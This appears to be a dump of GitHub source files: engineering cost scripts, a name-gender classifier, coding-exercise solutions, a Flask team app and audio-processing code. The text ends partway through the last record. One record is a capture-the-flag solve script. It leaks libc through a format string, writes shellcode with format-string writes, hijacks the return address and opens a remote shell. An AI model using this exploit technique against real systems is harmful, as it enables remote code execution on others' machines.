+{"seq_id":"5589608080","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Apr 14 15:59:12 2023\r\n\r\n@author: Ann-Joelle\r\n\"\"\"\r\n\r\n\r\nimport os # Import operating system interface\r\nimport win32com.client as win32 # Import COM\r\nimport numpy as np\r\n\r\n\r\nfrom vacuumoperation import vacuumsystemSTEAMJET\r\n\r\nkPa_to_Torr = 7.50062\r\nkg_to_lb = 2.20462\r\nm3_to_ft3 = 35.3147\r\n\r\n#%% Aspen Plus Connection\r\n\r\n# 1. Specify file name\r\nfile = 'exampleSteamJet.bkp' \r\n\r\n# 2. Get path to Aspen Plus file\r\naspen_Path = os.path.abspath(file)\r\nprint(aspen_Path)\r\n \r\n\r\n# 3 Initiate Aspen Plus application\r\nprint('\\n Connecting to the Aspen Plus... Please wait ')\r\nApplication = win32.Dispatch('Apwn.Document') # Registered name of Aspen Plus\r\nprint('Connected!')\r\n\r\n# 4. Initiate Aspen Plus file\r\nApplication.InitFromArchive2(aspen_Path) \r\n\r\n# 5. Make the files visible\r\nApplication.visible = 1 \r\n\r\n#%% Constants and Inputs\r\n\r\n#cost factors \r\ncost_index_2019 = 607.5\r\n\r\n\r\n#constants \r\nF_M = 1\r\nr_liquid_fill = 0.65\r\n\r\n\r\n#pressure and volume of the vacuum system\r\nv_pressure = Application.Tree.FindNode(\"\\Data\\Blocks\\REACTOR\\Input\\PRES\").Value #kpa\r\nv_volume = Application.Tree.FindNode(\"\\\\Data\\\\Blocks\\\\REACTOR\\\\Output\\\\LIQ_VOL\").Value / r_liquid_fill #kPa\r\n\r\n#airleakage through joints is calculated according to formula in Seider et al.(2008)\r\nv_air_leakage = (5 + (0.0298 + 0.03088 * np.log(v_pressure * kPa_to_Torr) - 0.0005733 * (np.log(v_pressure * kPa_to_Torr))**2) * ((v_volume)*m3_to_ft3)**0.66) / kg_to_lb / 3600 #formula from seider for air leakage rate in lb / hr converted to kg/s\r\nApplication.Tree.FindNode(\"\\Data\\Streams\\AIR\\Input\\TOTFLOW\\MIXED\").Value = v_air_leakage #give to aspen the air flow in lb/hr\r\nApplication.Engine.Run2()\r\n\r\n#loss of volatile compounds at temperature of steam jet ejector and air flow\r\n#this variable can be obtained by putting a flash and obtaining the equilibrium at that temperature and composition, the gas stream corresponds to \r\n#the volatile compound stream that will be lost to the vacuum system and the input airflow\r\nflowrate_to_steamjet = Application.Tree.FindNode(\"\\Data\\Streams\\FLASHGAS\\Output\\STR_MAIN\\MASSFLMX\\MIXED\").Value #kg/s\r\n\r\n#%% Function call\r\n\r\nv_costs_purchase2019, steam_consumption = vacuumsystemSTEAMJET(Application, v_pressure, v_volume, flowrate_to_steamjet, F_M, cost_index_2019)\r\n\r\nv_total_costs = np.sum(v_costs_purchase2019)\r\n","repo_name":"A-JMinor/Python-Aspen-Plus-Connected-Model-for-the-Calculation-of-Equipment-Costs","sub_path":"4Vacuum-System/ExampleSteamJetCode.py","file_name":"ExampleSteamJetCode.py","file_ext":"py","file_size_in_byte":2401,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"31"} +{"seq_id":"32968904376","text":"# -*- coding:utf-8 -*-\r\n\r\nimport math\r\nimport pandas as pd\r\n\r\nfrom collections import defaultdict\r\nfrom sklearn.metrics import accuracy_score\r\n\r\n# 读取数据\r\ndef load_data():\r\n data = pd.read_csv('data/data_set.txt', encoding='utf-8')\r\n data = data.dropna()\r\n\r\n data.loc[data['gender'] == 2, 'gender'] = 0\r\n\r\n # 划分训练集和测试集\r\n train = data.sample(frac=0.95, random_state=None, axis=0)\r\n test = data[~data.index.isin(train.index)]\r\n\r\n names_female = train[train['gender'] == 0]\r\n names_male = train[train['gender'] == 1]\r\n\r\n totals = {\r\n 'f': len(names_female),\r\n 'm': len(names_male)\r\n }\r\n\r\n return names_female, names_male, totals,train,test\r\n\r\n# 计算频率\r\ndef cal_frequency(names_female, names_male, totals):\r\n # 计算在所有女生的名字当中,某个字出现的频率,相当于是计算 P(Xi|女生)\r\n frequency_list_f = defaultdict(int)\r\n for name in names_female['name']:\r\n for char in name:\r\n frequency_list_f[char] += 1. / totals['f']\r\n\r\n # 计算在所有男生的名字当中,某个字出现的频率,相当于是计算P(Xi|男生)\r\n frequency_list_m = defaultdict(int)\r\n for name in names_male['name']:\r\n for char in name:\r\n frequency_list_m[char] += 1. / totals['m']\r\n\r\n return frequency_list_f, frequency_list_m\r\n\r\n# Laplace平滑\r\ndef laplace_smooth(char, frequency_list, total, alpha=1.0):\r\n count = frequency_list[char] * total\r\n distinct_chars = len(frequency_list)\r\n freq_smooth = (count + alpha) / (total + distinct_chars * alpha)\r\n return freq_smooth\r\n\r\ndef get_base(frequency_list_f,frequency_list_m,train):\r\n base_f = math.log(1 - train['gender'].mean())\r\n base_f += sum([math.log(1 - frequency_list_f[char]) for char in frequency_list_f])\r\n\r\n base_m = math.log(train['gender'].mean())\r\n base_m += sum([math.log(1 - frequency_list_m[char]) for char in frequency_list_m])\r\n\r\n bases = {'f': base_f, 'm': base_m}\r\n return bases\r\n\r\ndef get_log_prob(char, frequency_list, total):\r\n freq_smooth = laplace_smooth(char, frequency_list, total)\r\n return math.log(freq_smooth) - math.log(1 - freq_smooth)\r\n\r\ndef compute_log_prob(name, bases, totals, frequency_list_m, frequency_list_f):\r\n logprob_m = bases['m']\r\n logprob_f = bases['f']\r\n for char in name:\r\n logprob_m += get_log_prob(char, frequency_list_m, totals['m'])\r\n logprob_f += get_log_prob(char, frequency_list_f, totals['f'])\r\n return {'male': logprob_m, 'female': logprob_f}\r\n\r\ndef get_gender(log_probs):\r\n return log_probs['male'] > log_probs['female']\r\n\r\ndef get_result(bases, totals, frequency_list_m, frequency_list_f,test):\r\n result = []\r\n for name in test['name']:\r\n log_probs = compute_log_prob(name, bases, totals, frequency_list_m, frequency_list_f)\r\n gender = get_gender(log_probs)\r\n result.append(int(gender))\r\n test['predict'] = result\r\n print(test.tail(20))\r\n print(f\"Accuracy: {accuracy_score(test['gender'],test['predict'])*1.}\")\r\n return test\r\n\r\ndef main():\r\n names_female,names_male,totals,train,test = load_data()\r\n frequency_list_f, frequency_list_m = cal_frequency(names_female,names_male,totals)\r\n bases = get_base(frequency_list_f,frequency_list_m,train)\r\n result = get_result(bases, totals, frequency_list_m, frequency_list_f,test)\r\n result.to_csv('data/result.csv',index=False)\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"gaoxingjian/gender-predict","sub_path":"gender_predict_statistics.py","file_name":"gender_predict_statistics.py","file_ext":"py","file_size_in_byte":3474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32321822189","text":"\"\"\"\nDefinition of ListNode\nclass ListNode(object):\n def __init__(self, val, next=None):\n self.val = val\n self.next = next\n\"\"\"\n\nclass Solution:\n \"\"\"\n @param head: the first Node\n @return: the answer after plus one\n \"\"\"\n def plusOne(self, head):\n # Write your code here\n new_head = self.reverse(head)\n flag = 1\n node = new_head\n prev = None\n while node:\n node.val += flag\n flag = int(node.val / 10)\n node.val %= 10\n prev = node\n node = node.next\n if flag > 0:\n prev.next = ListNode(flag)\n return self.reverse(new_head)\n \n def reverse(self, head):\n new_head = None\n while head:\n node = head\n head = head.next\n node.next = new_head\n new_head = node\n return new_head\n \n# medium: https://www.lintcode.com/problem/plus-one-linked-list/\n","repo_name":"yingl/LintCodeInPython","sub_path":"plus-one-linked-list.py","file_name":"plus-one-linked-list.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","stars":123,"dataset":"github-code","pt":"31"} +{"seq_id":"39375639636","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jun 8 11:43:00 2020\n\n@author: simon\n\"\"\"\n\n\nimport torch\nfrom ...HNN.models.MLP2H_Separable_Hamil_LF import MLP2H_Separable_Hamil_LF\nfrom ...HNN.models.MLP2H_Separable_Hamil_VV import MLP2H_Separable_Hamil_VV\nfrom ...HNN.models.MLP2H_Separable_Hamil_PV import MLP2H_Separable_Hamil_PV\n\nclass ML_integrator:\n '''list of class of ML integrator,\n since all of them use the same interface but just different pth'''\n \n def __init__(self, filename):\n '''base initializer for all ML \n \n Parameters\n ----------\n filename : string\n filename is the name of the states that to be initialized\n \n Precaution\n ----------\n for states for LF, its must be written with LF code in the string so its recognizeable\n the same goes for VV and PV or other methods to be introduced \n '''\n import os \n uppath = lambda _path, n : os.sep.join(_path.split(os.sep)[:-n])\n base_dir = uppath(__file__, 2) # get the Integrator base_dir\n best_setting = torch.load(base_dir + '/states/{}.pth'.format(filename))\n if 'LF' in filename.upper() : #leapfrog\n self.ML_integrator = MLP2H_Separable_Hamil_LF(2,20) # this setting could be changed \n elif 'VV' in filename.upper(): #velocity verlet\n self.ML_integrator = MLP2H_Separable_Hamil_VV(2,20) \n elif 'PV' in filename.upper() : #position verlet\n self.ML_integrator = MLP2H_Separable_Hamil_PV(2,20)\n \n self.ML_integrator.set_n_stack(1) # set stack to 1\n self.ML_integrator.load_state_dict(best_setting[0]['state_dict'])\n\n def __call__(self, **state): #base integrator function to call the class as a function \n '''this allows the ML integrator to be called'''\n device = 'cpu'\n q = torch.tensor(state['phase_space'].get_q(), dtype = torch.float32).squeeze().requires_grad_(True).to(device)\n p = torch.tensor(state['phase_space'].get_p(), dtype = torch.float32).squeeze().requires_grad_(True).to(device) \n \n self.ML_integrator.eval()\n\n q_next, p_next = self.ML_integrator(q,p, state['time_step'])\n\n state['phase_space'].set_q(q_next.cpu().detach().numpy().reshape(-1,state['DIM']))\n state['phase_space'].set_p(p_next.cpu().detach().numpy().reshape(-1,state['DIM']))\n \n return state \n\nclass position_verlet_ML(ML_integrator):\n def __init__(self, filename):\n ''' full documentation is written in the ML_integrator class'''\n super().__init__(filename)\n \nclass velocity_verlet_ML(ML_integrator):\n def __init__(self,filename):\n ''' full documentation is written in the ML_integrator class'''\n super().__init__(filename)\n \nclass leap_frog_ML(ML_integrator):\n def __init__(self, filename):\n ''' full documentation is written in the ML_integrator class'''\n super().__init__(filename)\n \n","repo_name":"simonjulianl/Langevin_Machine_Learning","sub_path":"Integrator/methods/ML_integrator.py","file_name":"ML_integrator.py","file_ext":"py","file_size_in_byte":3015,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"17773930969","text":"from random import randint\n\nx = randint(0, 100)\n\n# метод последовательного перебора\n\ncount_perebor = 0\nfor i in range(0, 101):\n count_perebor += 1\n if i == x:\n print(\"Число найдено!\")\n break\n# print(\"Загаданное число - \", x,\" Для его поиска перебором потребовалось \",count_perebor,\" итераций\",)\n\n# метод рандомного угадывания\n\ncount_random = 1\ny = randint(0, 100)\nwhile x != y:\n count_random += 1\n y = randint(0, 100)\n\n# print(\"Загаданное число - \",x, \" Для его поиска угадыванием потребовалось \", count_random,\" итераций\",)\n\n# метод бинарного поиска с помощью пользователя\n\n# count_bin_hum = 1\n# print(\"Я хочу сыграть с тобой в игру! Угадай число от 0 до 100\")\n# y = int(input(\"Введите число: \"))\n# while x != y:\n# if x < y:\n# print(\"меньше\")\n# else:\n# print(\"больше\")\n# y = int(input(\"Введите число: \"))\n# count_bin_hum += 1\n# print(\"Загаданное число - \", x,\" Для его поиска бинарным методом потребовалось \", count_bin_hum,\" итераций\",)\n\n# метод бинарного поиска без помощи пользователя\nleft = 0\nright = 10000\nx = randint(left, right)\ncount_bin = 1\n\nmid = (left + right) // 2\nwhile x != mid:\n if x < mid:\n right = mid - 1\n else:\n left = mid + 1\n count_bin += 1\n mid = (left + right) // 2\nprint(\n \"Загаданное число - \",\n x,\n \" Для его поиска бинарным методом потребовалось \",\n count_bin,\n \" итераций\",\n)\n","repo_name":"NVZhukov/bootcamp","sub_path":"BinarySearch/bsearch.py","file_name":"bsearch.py","file_ext":"py","file_size_in_byte":1865,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"44640827828","text":"#advantage of using classes\r\n\r\nclass Student:\r\n def __init__ (self, name, age, grade):\r\n self.name= name\r\n self.age = age\r\n self.grade=grade #0 to 100\r\n\r\n def get_grade(self):\r\n return self.grade\r\n\r\n\r\nclass Course : #this class will have the ability to add students to a course.\r\n def __init__ (self,name, max_students):\r\n self.name = name\r\n self.max_students = max_students\r\n self.students = []\r\n #self.is_active = False #we can creat attributes that don't need to be assinged at first as a parameter\r\n\r\n def add_student(self,student):\r\n if len(self.students) < self.max_students : \r\n self.students.append(student)\r\n return True #if student was added succesfully\r\n return False\r\n \r\n def get_average_grade(self):\r\n value = 0\r\n for student in self.students:\r\n value += student.get_grade()\r\n \r\n return value/len(self.students)\r\n \r\n# the students\r\ns1= Student(\"Joan\", 25,94)\r\ns2= Student(\"Marie\",29,76)\r\ns3= Student(\"Julia\",27,59)\r\n\r\n\r\n# the course\r\ncourse = Course(\"Physics\",4) #max_students=4\r\ncourse.add_student(s1)\r\ncourse.add_student(s2)\r\n\r\n# print(course.students[0].name) #accessing attributes\r\nprint(course.get_average_grade())\r\n\r\n#we can create another course, and add the students needed.\r\n","repo_name":"Nuria-lab/Python-Course-Intermediate","sub_path":"11 - Python OOP - basic 1.1.py","file_name":"11 - Python OOP - basic 1.1.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74316130329","text":"from absl.testing import absltest\n\nfrom trax.supervised import history as trax_history\n\n\nclass HistoryTest(absltest.TestCase):\n\n def test_unknown_mode(self):\n history = trax_history.History()\n history.append('train', 'metric1', 1, 0.1)\n self.assertEqual(history.get('unknown_mode', 'metric1'), [])\n\n def test_unknown_metric(self):\n history = trax_history.History()\n history.append('train', 'metric1', 1, 0.1)\n self.assertEqual(history.get('train', 'unknown_metric'), [])\n\n def test_serializer_and_deserializer(self):\n history = trax_history.History()\n history.append('train', 'metric1', 1, 0.1)\n json_object = history.to_dict()\n history2 = trax_history.History.from_dict(json_object)\n self.assertEqual(history2.get('train', 'metric1'), [(1, 0.1)])\n\n def test_modes(self):\n history = trax_history.History()\n history.append('train', 'metric1', 1, 0.1)\n history.append('test', 'metric2', 2, 0.2)\n self.assertEqual(history.modes, ['test', 'train'])\n\n def test_metrics_for_mode(self):\n history = trax_history.History()\n history.append('train', 'metric1', 1, 0.1)\n history.append('train', 'metric2', 2, 0.2)\n self.assertEqual(history.metrics_for_mode('train'), ['metric1', 'metric2'])\n\n\nif __name__ == '__main__':\n absltest.main()\n","repo_name":"google/trax","sub_path":"trax/supervised/history_test.py","file_name":"history_test.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","stars":7804,"dataset":"github-code","pt":"31"} +{"seq_id":"34865233240","text":"class Solution:\n # path_memo = {}\n def uniquePaths(self, m: int, n: int) -> int:\n \"\"\"\n >>> s = Solution()\n >>> s.uniquePaths(7, 3)\n 28\n >>> s.uniquePaths(3, 2)\n 3\n\n Computes the numbers of possible paths the robot can take in an m x n grid.\n A robot may only move down or right.\n :param m: the first dimension of the board\n :param n: the second dimension of the board\n :return:\n \"\"\"\n # This problem has an optimal substructure:\n # unique_paths(m, n) = unique_paths(m-1, n) + unique_paths(m, n-1)\n\n # In a 1x1 board, there is exactly one unique path.\n\n # Compute using Bellman Optimization.\n\n bellman = [[1 for _ in range(n)] for _ in range(m)]\n for i in range(1, m):\n for j in range(1, n):\n bellman[i][j] = bellman[i-1][j] + bellman[i][j-1]\n\n return bellman[-1][-1]","repo_name":"ahoyaharr/leetcode","sub_path":"62_unique_paths.py","file_name":"62_unique_paths.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29359101749","text":"from cydtw import dtw\nfrom difflib import SequenceMatcher\nfrom models import InvalidUsage\nfrom python_speech_features import mfcc, delta, logfbank\nfrom scipy.signal import butter, lfilter\nimport librosa\nimport librosa.display\nimport numpy as np\nimport os\nimport random\nimport soundfile as sf\nimport speech_recognition as sr\nimport string\n\nBING_KEY = \"INSERT BING KEY\"\nCONVERT_FOLDER = 'converted/'\nrecognizer = sr.Recognizer()\n\n\n# Need to transpose and resample soundfile for processing with librosa\ndef resample_for_librosa(d, r):\n d = d.T\n d = librosa.resample(d, r, 44100)\n r = 44100\n return d, r\n\n\n# Save using sf instead of librosa to match pcm subtype for bing\ndef save_as_wav(d, r, filename):\n x = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase +\n string.digits) for _ in range(24))\n new_path = '{}{}_{}.wav'.format(CONVERT_FOLDER, x, filename)\n d = d.T\n # librosa.output.write_wav(new_path, d, r)\n sf.write(new_path, d, r, 'PCM_24')\n return new_path\n\n\ndef process_audio(d, r):\n # Trim silence at start and end\n dt, index = librosa.effects.trim(d, 15)\n\n # Apply pre-emphasis filter_audio\n # pre_emphasis = 0.97\n # ye = np.append(yt[0], yt[1:] - pre_emphasis * yt[:-1])\n\n # Apply butterworth bandpass filter\n b, a = butter(4, [0.05, 0.8], 'bandpass')\n df = lfilter(b, a, dt)\n\n return dt, r\n\n\ndef compute_dist(y1, r1, y2, r2, file_path, text):\n\n # normalize clips\n yn1, yn2 = normalize(y1, y2)\n\n time_difference = np.absolute(librosa.get_duration(y1) -\n librosa.get_duration(y2))\n print('Time difference: {}'.format(time_difference))\n\n mfcc1 = mfcc(y1, r1)\n d_mfcc1 = delta(mfcc1, 2)\n mfcc_concat1 = np.concatenate((mfcc1, d_mfcc1))\n # fbank_feat = logfbank(y1,r1)\n\n mfcc2 = mfcc(y2, r2)\n d_mfcc2 = delta(mfcc2, 2)\n mfcc_concat2 = np.concatenate((mfcc2, d_mfcc2))\n # fbank_feat2 = logfbank(y2,r2)\n\n dtw_dist = dtw(mfcc_concat1, mfcc_concat2)\n print('dtw distance mfcc: {}'.format(dtw_dist))\n\n with sr.AudioFile(file_path) as source:\n audio = recognizer.record(source) # read the entire audio file\n\n try:\n recognized_text = recognizer.recognize_bing(audio, key=BING_KEY)\n print(recognized_text)\n translator = str.maketrans('', '', string.punctuation)\n text = text.translate(translator).lower()\n accuracy = SequenceMatcher(None, recognized_text, text).ratio()\n except sr.UnknownValueError:\n print(\"Microsoft Bing Voice Recognition could not understand audio\")\n accuracy = 0.0\n except sr.RequestError as e:\n raise InvalidUsage(\"Could not get results from Bing: {0}\".format(e),\n status_code=400)\n\n return time_difference, dtw_dist, accuracy\n\n\n# normalize duration and volume of two signals\ndef normalize(y1, y2):\n # normalize duration\n # time_ratio = librosa.get_duration(y1) / librosa.get_duration(y2)\n # y1 = librosa.effects.time_stretch(y1,time_ratio)\n # y1 = librosa.util.fix_length(y1, len(y2))\n\n # normalize volume\n y1 = librosa.util.normalize(y1)\n y2 = librosa.util.normalize(y2)\n\n return y1, y2\n","repo_name":"spaceraccoon/accent-trainer","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":3217,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"31"} +{"seq_id":"30511425201","text":"from flask import (\n Blueprint, flash, g, redirect, render_template, request, url_for, jsonify, abort\n)\nfrom werkzeug.exceptions import abort\n\nfrom ToDo.auth import login_required\nfrom ToDo.db import get_db\n\nbp = Blueprint('team', __name__)\n\n\n@bp.route('/')\ndef index():\n db = get_db()\n teams = []\n invites = []\n if g.user is not None: \n # finding the teams that user is in. \n teams_ids = db.execute(\n f\"SELECT team_id FROM userteam ut WHERE ut.user_id = {g.user['id']}\"\n ).fetchall()\n\n placeholders = ', '.join(list(str(i['team_id']) for i in teams_ids))\n query = f\"SELECT * FROM team WHERE id IN ({placeholders})\"\n teams = db.execute(query).fetchall()\n\n return render_template('team/index.html', teams = teams, invites = invites)\n\n\n@bp.route('/team/create', methods=['GET', 'POST'])\n@login_required\ndef create():\n if request.method == 'POST':\n title = request.form['title']\n error = None\n\n if not title:\n error = 'Title is required.'\n \n if error is not None:\n flash(error)\n else:\n db = get_db()\n db.execute(\n \"INSERT INTO team (title, owner_id) VALUES (?, ?)\",\n (title, g.user['id'])\n )\n db.commit()\n\n team = db.execute(\n \"SELECT id FROM team WHERE title = ?\", \n (title,)\n ).fetchone()\n db.execute(\n \"INSERT INTO userteam (user_id, team_id) VALUES(?, ?)\",\n (g.user['id'], team['id'],)\n )\n db.commit()\n return redirect(url_for('team.index'))\n \n return render_template('team/create.html', header_title = \"New Team\")\n\n\ndef get_team(id, check_member = True, check_owner=False):\n db = get_db()\n team = db.execute(\n \"SELECT tm.id, title, owner_id, username\"\n \" FROM team tm JOIN user u ON tm.owner_id = u.id\"\n \" WHERE tm.id = ?\",\n (id,)\n ).fetchone()\n\n if team is None:\n abort(404, f\"Team id {id} doesn't exist.\")\n \n if check_owner and team['owner_id'] != g.user['id']:\n abort(403)\n \n if check_owner is False and check_member:\n relation = db.execute(\n \"SELECT * FROM userteam WHERE user_id = ? AND team_id = ?\",\n (g.user['id'], id)\n ).fetchone()\n if relation is None:\n abort(403)\n\n return team\n\n\n@bp.route('/team/', methods = ['GET', 'POST'])\n@login_required\ndef open_team(id):\n team = get_team(id)\n db = get_db()\n tasks = db.execute(\n \"SELECT tsk.id, tsk.title, tsk.team_id, tsk.stage\"\n \" FROM task tsk JOIN team t ON tsk.team_id = t.id\"\n \" WHERE t.id = ?\",\n (id,)\n ).fetchall()\n\n users_ids = db.execute(\n \"SELECT user_id FROM userteam ut\"\n \" JOIN team t ON ut.team_id = t.id\"\n \" WHERE t.id = ?\",\n (id,)\n ).fetchall()\n\n \n placeholders = ', '.join(list(str(i['user_id']) for i in users_ids))\n \n query = f\"SELECT username, id FROM user WHERE id IN ({placeholders})\"\n users = db.execute(query).fetchall()\n\n return render_template('team/content.html', tasks=tasks, team = team, users=users)\n\n\n@bp.route('/team//get/users', methods=['GET'])\n@login_required\ndef get_users(id):\n get_team(id, check_owner=True)\n db = get_db()\n rows = db.execute( \n \"SELECT user.id, username FROM userteam, user\"\n f\" WHERE team_id = {id} AND user.id = user_id ORDER BY user_id\"\n ).fetchall() \n\n users = list()\n for row in rows:\n users.append({\"username\": row[\"username\"], \"id\":row[\"id\"]})\n return jsonify({\"users\":users})\n\n\n@bp.route('/team//get/inviteds', methods=['GET'])\n@login_required\ndef get_inviteds(id):\n get_team(id, check_owner=True)\n db = get_db()\n rows = db.execute( \n \"SELECT user.id, username FROM invitation, user\"\n f\" WHERE team_id = {id} AND user.id = user_id ORDER BY user_id\"\n ).fetchall() \n\n users = list()\n for row in rows:\n users.append({\"username\": row[\"username\"], \"id\":row[\"id\"]})\n return jsonify({\"users\":users})\n\n\n@bp.route('/team//cancel/invite/', methods=['POST'])\n@login_required\ndef cancel_invite(team_id, user_id):\n get_team(team_id, check_owner=True)\n db = get_db()\n\n invitation_rel = db.execute(\n f\"SELECT * FROM invitation WHERE (user_id = {user_id} AND team_id = {team_id})\"\n ).fetchone()\n\n if invitation_rel is not None:\n db.execute(\n f\"DELETE FROM invitation WHERE id = {invitation_rel['id']}\",\n )\n db.commit()\n else:\n abort(500)\n return jsonify({\"result\":\"OK\"})\n\n\n@bp.route('/team//invite/user/', methods=['POST'])\n@login_required\ndef invite_user(team_id, user_id):\n get_team(team_id, check_owner=True)\n db = get_db()\n \n userteam_rel = db.execute(\n f\"SELECT * FROM userteam WHERE (user_id = {user_id} AND team_id = {team_id})\"\n ).fetchone()\n\n invitation_rel = db.execute(\n f\"SELECT * FROM invitation WHERE (user_id = {user_id} AND team_id = {team_id})\"\n ).fetchone()\n\n user = db.execute(\n f\"SELECT * FROM user WHERE id = {user_id}\"\n ).fetchone()\n\n if user is not None and userteam_rel is None and invitation_rel is None:\n db.execute(\n f\"INSERT INTO invitation (user_id, team_id) VALUES({user_id}, {team_id})\"\n )\n db.commit()\n else:\n abort(500)\n return jsonify({\"result\": \"OK\"})\n\n\n@bp.route('/team//manageusers', methods=['GET'])\n@login_required\ndef manage_users(id):\n team = get_team(id, check_member=True)\n return render_template('team/manageusers.html', team=team)\n\n\n@bp.route('/team//adduser', methods=['POST'])\n@login_required\ndef add_user(id):\n team = get_team(id, check_owner=True)\n username = request.form['username']\n db = get_db()\n user = db.execute(\n \"SELECT * FROM user WHERE username = ?\", (username,)\n ).fetchone()\n error = None\n\n if user is None:\n error = f\"User {username} doesn't exist.\"\n \n if error is None:\n try:\n db.execute(\n \"INSERT INTO userteam (user_id, team_id) VALUES(?, ?)\",\n (user['id'], team['id'],)\n )\n db.commit()\n except db.IntegrityError:\n error = f\"User {username} is already in the team.\"\n else:\n error = f\"User {username} has been successfully added.\"\n \n flash(error)\n \n return redirect(url_for(\"team.open_team\", id=id))\n\n\n@bp.route('/team//kick/user/', methods=['POST'])\n@login_required\ndef kick_user(team_id, user_id):\n team = get_team(team_id, check_owner=True)\n if team['owner_id'] == user_id:\n abort(403)\n else:\n db = get_db()\n relation = db.execute(\n f\"SELECT * FROM userteam WHERE (user_id = {user_id} AND team_id = {team_id})\"\n ).fetchone()\n\n if relation is not None:\n db.execute(\n \"DELETE FROM userteam WHERE id = ?\",\n (relation['id'],)\n )\n db.commit()\n \n else:\n abort(500)\n return jsonify({\"result\": \"OK\"})\n\n\n@bp.route('/team//delete', methods=['POST'])\n@login_required\ndef delete(id):\n team = get_team(id, check_owner=True)\n db = get_db()\n db.execute(\n \"DELETE FROM userteam WHERE team_id = ?\",\n (id,)\n )\n db.execute(\n \"DELETE FROM team WHERE id = ?\",\n (id,)\n )\n db.commit()\n flash(f\"Team {team['title']} has been successfully deleted.\")\n return redirect(url_for('team.index'))\n \n\n@bp.route('/team//leave', methods=['POST'])\n@login_required\ndef user_leave(team_id):\n team = get_team(team_id)\n db = get_db()\n db.execute(\n f\"DELETE FROM userteam WHERE (user_id = {g.user['id']} AND team_id = {team_id})\"\n )\n db.commit()\n return redirect(url_for(\"team.index\"))\n\n","repo_name":"NodirBobiev/todo","sub_path":"ToDo/team.py","file_name":"team.py","file_ext":"py","file_size_in_byte":8062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13785209731","text":"from pwn import *\nfrom formatstring import *\n\ncontext(arch='amd64')\n\npwnable = ELF('./pwnable')\n# libc = ELF('/usr/lib/libc.so.6')\nlibc = ELF('./libc-2.23.so')\n# p = process('./pwnable')\np = remote('binary.utctf.live', 9003)\n\nbuf = b''\nbuf += b'%7$saaaa'\nbuf += p64(pwnable.got['fgets'])\np.sendline(buf)\n\nbuf = p.recv(1024)\nbuf = buf.split(b'\\n')[4].split(b' ', 1)[0].split(b'aaaa', 1)[0]\nfgets = u64(buf.ljust(8, b'\\x00'))\nlibc_base = fgets - libc.symbols['fgets']\n\nbuf = b''\nbuf += b'%14$p'\np.sendline(buf)\nbuf = p.recv(1024)\nbuf = buf.split(b'\\n')[0].split(b' ', 1)[0]\nstack = int(buf, 16)\nret_addr = stack - 8\n\nlog.info(f'fgets at: {hex(fgets)}')\nlog.info(f'libc base at: {hex(libc_base)}')\nlog.info(f'return address at: {hex(ret_addr)}')\n\nsettings = PayloadSettings(offset=6, forbidden_bytes=b'\\n', arch=x86_64)\n\ndef w(what, where):\n payload = WritePayload()\n payload[where] = what\n buf = payload.generate(settings)\n if b'\\n' in buf:\n print('oooops')\n log.info(f'payload size: {len(buf)}')\n return buf\n\nshellcode = asm(shellcraft.amd64.sh())\nfor i in range(0, len(shellcode), 2):\n what = shellcode[i:i+2]\n where = 0x601800 + i\n log.info(f'writing {what} to {hex(where)}')\n buf = w(what, where)\n p.sendline(buf)\n p.recv(1024)\n\n# i have no clue why but there's a bloody null byte at this location\n# even after the write, so writing it again\nbuf = w(b'\\x2f', 0x601809)\np.sendline(buf)\n\nbuf = w(p16(0x1800), 0x601010)\np.sendline(buf)\nbuf = w(p16(0x0060), 0x601012)\np.sendline(buf)\nbuf = w(p16(0x0000), 0x601014)\np.sendline(buf)\n\nbuf = w(p16(0x0516), ret_addr)\np.sendline(buf)\n\ninput('...')\n\np.interactive()\n\n'''\nutflag{wtf_i_h4d_n0_buffer_overflows}\n'''\n","repo_name":"ByteBandits/writeups","sub_path":"utctf-2020/pwn/zurk/jaiverma/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","stars":96,"dataset":"github-code","pt":"31"} +{"seq_id":"29882062042","text":"import getch\n\nclass Hero:\n def run(self):\n while(True):\n key = ord(getch.getch())\n if(key == 3): # Ctrl-C: Quit\n print('bye!!')\n break;\n print('key input: ' + str(key))\n\nhero = Hero()\nhero.run()\n","repo_name":"aerialboundaries/python_practice","sub_path":"kiso_game1/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35523573002","text":"from unittest.mock import patch\n\nimport pytest\nfrom werkzeug.exceptions import Conflict\nfrom werkzeug.exceptions import NotFound\n\nfrom src.code.admin_panel.helper import HelperResource\nfrom src.code.model.control_panel import ControlPanel\n\n\nclass TestHelperResource:\n def test_get_control_panel_or_404_return_cp(self, channel_id, cp):\n with patch.object(ControlPanel, \"get_active_control_panel_details\", return_value=cp):\n with patch(\"flask_restx.abort\") as test:\n assert cp == HelperResource.get_control_panel_or_404(channel_id)\n test.assert_not_called()\n\n def test_get_control_panel_or_404_return_404(self, channel_id):\n with patch.object(ControlPanel, \"get_active_control_panel_details\", return_value=None):\n with pytest.raises(NotFound):\n HelperResource.get_control_panel_or_404(channel_id)\n\n def test_get_control_panel_or_409_return_409(self, channel_id, cp):\n with patch.object(ControlPanel, 